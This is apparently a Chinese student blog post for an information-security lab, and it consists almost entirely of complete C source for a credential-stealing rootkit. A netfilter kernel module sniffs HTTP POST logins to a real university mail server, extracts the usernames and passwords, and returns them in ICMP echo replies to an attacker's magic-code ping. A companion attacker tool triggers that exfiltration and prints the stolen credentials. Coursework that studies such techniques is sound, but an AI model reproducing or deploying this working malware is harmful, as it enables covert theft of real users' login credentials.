• 信息安全实验二


    受害者端:nfsniff.c

    #include <linux/module.h>
    #include <linux/kernel.h>
    #include <linux/skbuff.h>
    #include <linux/in.h>
    #include <linux/ip.h>
    #include <linux/tcp.h>
    #include <linux/icmp.h>
    #include <linux/netdevice.h>
    #include <linux/netfilter.h>
    #include <linux/netfilter_ipv4.h>
    #include <linux/if_arp.h>
    #include <linux/if_ether.h>
    #include <linux/if_packet.h>
    
    #define MAGIC_CODE 0x77 // ICMP CODE
    #define REPLY_SIZE 36   // tartget_ip(4B) + username(16B) + password(16B)
    
    #define SUCCESS  1
    #define FAILURE -1
    #define IP_202_38_64_8 138421962 // email.ustc.edu.cn
    
    static const char *post_uri   = "POST /coremail/index.jsp?cus=1";
    static const int post_uri_len = 30;
    static const unsigned int target_ip = IP_202_38_64_8;
    
    static char *username = NULL;
    static char *password = NULL;
    
    static struct nf_hook_ops pre_hook;
    static struct nf_hook_ops post_hook;
    
    /**
     * 过滤器:发现我想要的数据包,如下:
     * dest_ip:202.38.64.8 (email.ustc.edu.cn)
     * tcp_dest_port:80
     * POST_URI:POST /coremail/index.jsp?cus=1
     *
     * @return SUCCESS/FAILURE
     */
    static unsigned int findpkt_iwant(struct sk_buff *skb) {
        struct iphdr *ip = NULL;
        struct tcphdr *tcp = NULL;
        char *data = NULL;
        int tcp_payload_len = 0;
    
        ip = (struct iphdr *)skb_network_header(skb); //skb是ip数据报缓存 skb_network_header(skb)是返回ip数据报的首部
        if (ip->daddr != IP_202_38_64_8 || ip->protocol != IPPROTO_TCP)
            return FAILURE;
    
        tcp = (struct tcphdr *)skb_transport_header(skb); //tcp报文字段的长度
        tcp_payload_len = ntohs(ip->tot_len) - (ip->ihl<<2) - (tcp->doff<<2);  //指向tcp报文段的数据部分
        data = (char *)((char *)tcp + (tcp->doff<<2));
        if (tcp->dest != htons(80)
            || tcp_payload_len < post_uri_len
            || strncmp(data, post_uri, post_uri_len) != 0) {
            return FAILURE;
        }
        printk("--------------- findpkt_iwant ------------------
    ");
        printk("ip_hdrlen:         %d
    ", (ip->ihl<<2));
        printk("tcp_hdrlen:        %d
    ", (tcp->doff<<2));
        printk("ip_total_len:      %d
    ", ntohs(ip->tot_len));
        printk("tcp_payload_len:   %d
    ", tcp_payload_len);
        printk("ip_addr:        0x%p
    ", ip);
        printk("tcp_addr:       0x%p
    ", tcp);
        printk("tcp_data_addr:  0x%p
    ", data);
        printk("hex : data[0-3] = 0x%02x%02x%02x%02x
    ", data[0], data[1], data[2], data[3]);
        printk("char: data[0-3] = %c%c%c%c
    ", data[0], data[1], data[2], data[3]);
        printk("--------------- findpkt_iwant ------------------
    ");
        return SUCCESS;
    }
    
    /**
     * 使用KMP算法进行字符串匹配
     * @return 匹配(>=0)/未匹配(-1)
     */
    static int kmp(const char *cs, int cslen, const char *ct, int ctlen) {
        int i = 0, j = -1;
        int *next = NULL;
    
        // 1) get next[]
        next = (int *)kmalloc(ctlen*sizeof(int), GFP_KERNEL);
        if (next == NULL)
            return -1;
        next[0] = -1, next[1] = 0;
        while (i < ctlen) {
            if (j == -1 || ct[i] == ct[j]) {
                i++, j++;
                next[i] = j;
            } else {
                j = next[j];
            }
        }
        // 2) match
        i = 0, j = 0;
        while (i < cslen && j < ctlen) {
            if (j == -1 || cs[i] == ct[j]) {
                i++, j++;
            } else {
                j = next[j];
            }
        }
        kfree(next);
        next = NULL;
        return j >= ctlen ? (i - ctlen) : -1;
    }
    
    /**
     * 从URL的参数中提取key对应的value值
     * 比如:uid=lichaoxi&password=1234
     * @param urlparam urlparam的首地址
     * @param ulen url的长度
     * @param key 如:uid=,password=
     * @param klen key的长度(注意后面还有个=号)
     * @return 成功找到(包含value的字符串首地址)/失败(NULL)
     */
    char * fetch_urlparam(char *urlparam, int ulen, char *key, int klen) {
        int index = 0, i = 0;
        char *value = NULL;
    
        if ((index = kmp(urlparam, ulen, key, klen)) == -1)
            return NULL;
        urlparam += (index + klen);
        ulen -= (index + klen);
        // username, password中本身就可能含有类似'&'这样需要进行编码的字符,urlencode('&') = %26
        // http://www.atool88.com/urlencode.php
        for (i = 0; i < ulen && urlparam[i] != '&'; i++);
        if (i >= ulen)
            return NULL;
        // i + 1, for the last char ''
        if ((value = (char *)kmalloc(sizeof(char)*(i+1), GFP_KERNEL)) == NULL)
            return NULL;
        memcpy(value, urlparam, i);
        value[i] = '';
        return value;
    }
    
    /**
     * 从HTTP数据包中抓取 username, password
     * 在调用该方法前需要先调用 findpkt_iwant()方法进行过滤
     *
     * @author southday
     * @date 2019.04.13
     */
    static void fetch_http(struct sk_buff *skb) {
        struct iphdr *ip = NULL;
        struct tcphdr *tcp = NULL;
        char *data = NULL; // tcp data
        int tcp_payload_len = 0;
        int i = 0, index = -1;
        int content_len = 0; // Cotent-Length
    
        ip = (struct iphdr *)skb_network_header(skb);
        tcp = (struct tcphdr *)skb_transport_header(skb);
        tcp_payload_len = ntohs(ip->tot_len) - (ip->ihl<<2) - (tcp->doff<<2);
        data = (char *)tcp + (tcp->doff<<2);
    
        // e.g: Content-Length: 77
    
        index = kmp(data, tcp_payload_len, "Content-Length: ", 16);
        if (index == -1)
            return;
        data += (index + 16); // data point to: 77
    
        for (i = 0; data[i] != '
    '; i++)
            content_len = content_len*10 + ((int)data[i]-'0');
        // now content_len = 77
    
        // data point to layer: HTML Form URL Encode
        data = (char *)tcp + (tcp->doff<<2) + (tcp_payload_len-content_len);
        // 1) fetch username
        username = fetch_urlparam(data, content_len, "uid=", 4);
        // 2) fetch password
        password = fetch_urlparam(data, content_len, "password=", 9);
        if (username == NULL || password == NULL)
            return;
        printk("----------------- fetch_http -------------------
    ");
        printk("content_len = %d
    ", content_len);
        printk("urlencode(username): %s
    ", username);
        printk("urlencode(password): %s
    ", password);
        printk("----------------- fetch_http -------------------
    ");
    }
    
    /**
     * 是否已经抓取到一对<用户名,密码>
     * @return 是(1)/否(0)
     */
    static int hasPair(void) {
        return username != NULL && password != NULL;
    }
    
    /**
     * POST_ROUTING,将数据包发送出去的前一个HOOK点;
     * 用于监听本机往外发送的数据包,并从中提取出所需的username,password;
     * 下面实现的是对于网址 http://email.ustc.edu.cn 的监听
     * > nslookup email.ustc.edu.cn => Address: 202.38.64.8
     */
    static unsigned int watch_out(void *priv,
                                  struct sk_buff *skb,
                                  const struct nf_hook_state *state) {
        if (findpkt_iwant(skb) == FAILURE)
            return NF_ACCEPT;
        printk("findpkt_iwant ====> SUCCESS
    ");
        if (!hasPair())
            fetch_http(skb);
        return NF_ACCEPT;
    }
    
    /**
    * PRE_ROUTING,接收数据包的第一个HOOK点;
    * 用于监听本机接收的数据包,若为hacker想要获取数据而发来的指定ICMP_ECHO数据包(icmp->code=0x77),
    * 则将tager_ip, username, password拷贝到原ICMP包的数据部分,然后返回给hacker;
    */
    static unsigned int watch_in(void *priv,
                                 struct sk_buff *skb,
                                 const struct nf_hook_state *state) {
        struct iphdr *ip = NULL;
        struct icmphdr *icmp = NULL;
        int icmp_payload_len = 0;
        char *cp_data = NULL; // copy pointer
        unsigned int temp_ipaddr; // temporary ip holder for swap ip (saddr <-> daddr)
    
        ip = (struct iphdr *)skb_network_header(skb);
        if (!hasPair() || ip->protocol != IPPROTO_ICMP)
            return NF_ACCEPT;
    
        icmp = (struct icmphdr *)((char *)ip + (ip->ihl<<2));
        // 最后8字节为 ICMP首部长度
        icmp_payload_len = ntohs(ip->tot_len) - (ip->ihl<<2) - 8;
        if (icmp->code != MAGIC_CODE
            || icmp->type != ICMP_ECHO
            || icmp_payload_len < REPLY_SIZE) {
            return NF_ACCEPT;
        }
    
        // 因为要往回发包,所以交换源、目的IP
        temp_ipaddr = ip->saddr;
        ip->saddr = ip->daddr;
        ip->daddr = temp_ipaddr;
    
        skb->pkt_type = PACKET_OUTGOING;
        switch (skb->dev->type) {
            case ARPHRD_PPP: break;
            case ARPHRD_LOOPBACK:
            case ARPHRD_ETHER: {
                unsigned char temp_hwaddr[ETH_ALEN];
                struct ethhdr *eth = NULL;
                // Move the data pointer to point to the link layer header
                eth = (struct ethhdr *)eth_hdr(skb);
                skb->data = (unsigned char*)eth;
                skb->len += ETH_HLEN; // 14, sizeof(skb->mac.ethernet);
                memcpy(temp_hwaddr, eth->h_dest, ETH_ALEN);
                memcpy(eth->h_dest, eth->h_source, ETH_ALEN);
                memcpy(eth->h_source, temp_hwaddr, ETH_ALEN);
                break;
            }
        }
    
        // copy target_ip, username, password into packet
        cp_data = (char *)icmp + 8;
        memcpy(cp_data, &target_ip, 4);
        memcpy(cp_data+4, username, 16);
        memcpy(cp_data+20, password, 16);
    
        printk("watch_in STOLEN ====> SUCCESS
    ");
        printk("urlencode(username): %s
    ", username);
        printk("urlencode(password): %s
    ", password);
        dev_queue_xmit(skb); // 发送数据帧
        kfree(username);
        kfree(password);
        username = password = NULL;
        return NF_STOLEN;
    }
    
    int init_module(void) {
        pre_hook.hook = watch_in;
        pre_hook.pf = PF_INET;
        pre_hook.hooknum = NF_INET_PRE_ROUTING;
        pre_hook.priority = NF_IP_PRI_FIRST;
        nf_register_net_hook(&init_net, &pre_hook);
    
        post_hook.hook = watch_out;
        post_hook.pf = PF_INET;
        post_hook.hooknum = NF_INET_POST_ROUTING;
        post_hook.priority = NF_IP_PRI_FIRST;
        nf_register_net_hook(&init_net, &post_hook);
        printk("init_module
    ");
        return 0;
    }
    
    void cleanup_module(void) {
        nf_unregister_net_hook(&init_net, &pre_hook);
        nf_unregister_net_hook(&init_net, &post_hook);
        printk("cleanup_module
    ");
    }

    攻击者端 getpass.c

    #include<stdlib.h>
    #include<stdio.h>
    #include<string.h>
    #include<unistd.h>
    #include<sys/types.h>
    #include<sys/socket.h>
    #include<netinet/in.h>
    #include<netinet/ip_icmp.h>
    #include<linux/if_ether.h>
    #include<arpa/inet.h>
    
    #define BUFF_SIZE  256
    #define SUCCESS    1
    #define FAILURE    -1
    #define MAGIC_CODE 0x77 // ICMP ECHO CODE
    
    struct sockaddr_in remoteip;
    struct in_addr server_addr;
    int recvsockfd = -1;
    int sendsockfd = -1;
    unsigned char recvbuff[BUFF_SIZE];
    unsigned char sendbuff[BUFF_SIZE];
    
    int load_args(const int argc, char **);
    void print_cmdprompt();
    int send_icmp_request();
    int recv_icmp_reply();
    unsigned short cksum(unsigned short *, int len);
    void print_ippacket_inbyte(unsigned char *);
    
    int main(int argc, char **argv) {
        if (load_args(argc, argv) < 0) {
            printf("command format error!
    ");
            print_cmdprompt();
            return FAILURE;
        }
        recvsockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
        sendsockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
        if (recvsockfd < 0 || sendsockfd < 0) {
            perror("socket creation error");
            return FAILURE;
        }
        printf("lcx-getpass running...
    ");
        // 1) 发送ICMP ECHO 回送请求报文
        send_icmp_request();
        // 2) 接收ICMP ECHO 回送回答报文
        recv_icmp_reply();
        close(sendsockfd);
        close(recvsockfd);
        return 0;
    }
    
    /**
     * 命令:lcx-getpass 192.168.23.131
     * 载入参数:192.168.23.131,表示受害者主机IP地址
     */
    int load_args(const int argc, char *argv[]) {
        if (argc != 2 || inet_aton(argv[1], &remoteip.sin_addr) == 0)
            return FAILURE;
        return SUCCESS;
    }
    
    /**
     * 打印命令提示信息
     */
    void print_cmdprompt() {
        printf("
    lcx-getpass [remoteip]
    
    ");
        printf("	    [remoteip]       Victim host IP address, eg: 192.168.23.131
    ");
    }
    
    /**
     * 发送ICMP回送请求报文
     */
    int send_icmp_request() {
        bzero(sendbuff, BUFF_SIZE);
        // 构造ICMP ECHO首部
        struct icmp *icmp = (struct icmp *)sendbuff;
        icmp->icmp_type = ICMP_ECHO; // ICMP_ECHO 8
        icmp->icmp_code = MAGIC_CODE;
        icmp->icmp_cksum = 0;
        // 计算ICMP校验和,涉及首部和数据部分,包括:8B(ICMP ECHO首部) + 36B(4B(target_ip)+16B(username)+16B(password))
        icmp->icmp_cksum = cksum((unsigned short *)icmp, 8 + 36);
    
        printf("sending request........
    ");
        int ret = sendto(sendsockfd, sendbuff, 44, 0, (struct sockaddr *)&remoteip, sizeof(remoteip));
        if (ret < 0) {
            perror("send error");
        } else {
            printf("send a icmp echo request packet!
    
    ");
        }
        return SUCCESS;
    }
    
    /**
     * 接收ICMP回送回答报文
     */
    int recv_icmp_reply() {
        bzero(recvbuff, BUFF_SIZE);
        printf("waiting for reply......
    ");
        if (recv(recvsockfd, recvbuff, BUFF_SIZE, 0) < 0) {
            printf("failed getting reply packet
    ");
            return FAILURE;
        }
        struct icmphdr *icmp = (struct icmphdr *)(recvbuff + 20);
        memcpy(&server_addr, (char *)icmp+8, 4);
        // 打印IP包字节数据,便于调试
        print_ippacket_inbyte(recvbuff);
        printf("stolen from http server: %s
    ", inet_ntoa(server_addr));
        printf("username: %s
    ", (char *)((char *)icmp + 12));
        printf("password: %s
    ", (char *)((char *)icmp + 28));
        return SUCCESS;
    }
    
    /**
     * 计算校验和
     *   1) IP:IP首部
     *   2) ICMP:首部+数据
     * @param *addr 开始计算校验和的入口地址
     * @param len 计算校验和所使用的数据长度,单位Byte
     * @return 16位的校验和
     */
    unsigned short cksum(unsigned short *addr, int len) {
        int sum = 0;
        unsigned short res = 0;
        /* len -= 2,因为 sizeof(unsigned short) = 2;
         * sum += *(addr++),每次偏移2Byte
         */
        for (; len > 1; sum += *(addr++), len -= 2);
        // 每次处理2Byte,可能会存在多余的1Byte
        sum += len == 1 ? *addr : 0;
        // sum:高16位 + 低16位,高16位中存在可能的进位
        sum = (sum >> 16) + (sum & 0xffff);
        // sum + sum的高16位,高16位中存在可能的进位
        sum += (sum >> 16);
        // 经过2次对高16位中可能存在的进位进行处理,即可确保sum高16位中再无进位
        res = ~sum;
        return res;
    }
    
    /**
     * 以单字节形式打印IP数据包,包括首部和数据部分,并且模仿wireshark的格式,便于调试
     */
    void print_ippacket_inbyte(unsigned char *ipbuff) {
        struct ip *ip = (struct ip *)ipbuff;
        printf("                                              %02x %02x", ipbuff[0], ipbuff[1]);
        for (int i = 0, len = ntohs(ip->ip_len)-2; i < len; i++) {
            if (i % 16 == 0)
                printf("
    ");
            if (i % 8 == 0)
                printf("  ");
            printf("%02x ", ipbuff[i+2]);
        }
        printf("
    ");
    }
  • 相关阅读:
    java.io.Serializable浅析
    SSH和SSM的区别
    [转]github详细教程
    GITHUB的使用
    常用端口-小结
    DNS的解析原理
    windows快捷键-小结
    ip地址0.0.0.0是什么意思
    windows插件框架下载地址
    redis和mongodb
  • 原文地址:https://www.cnblogs.com/ustc314/p/13214204.html
Copyright © 2020-2023  润新知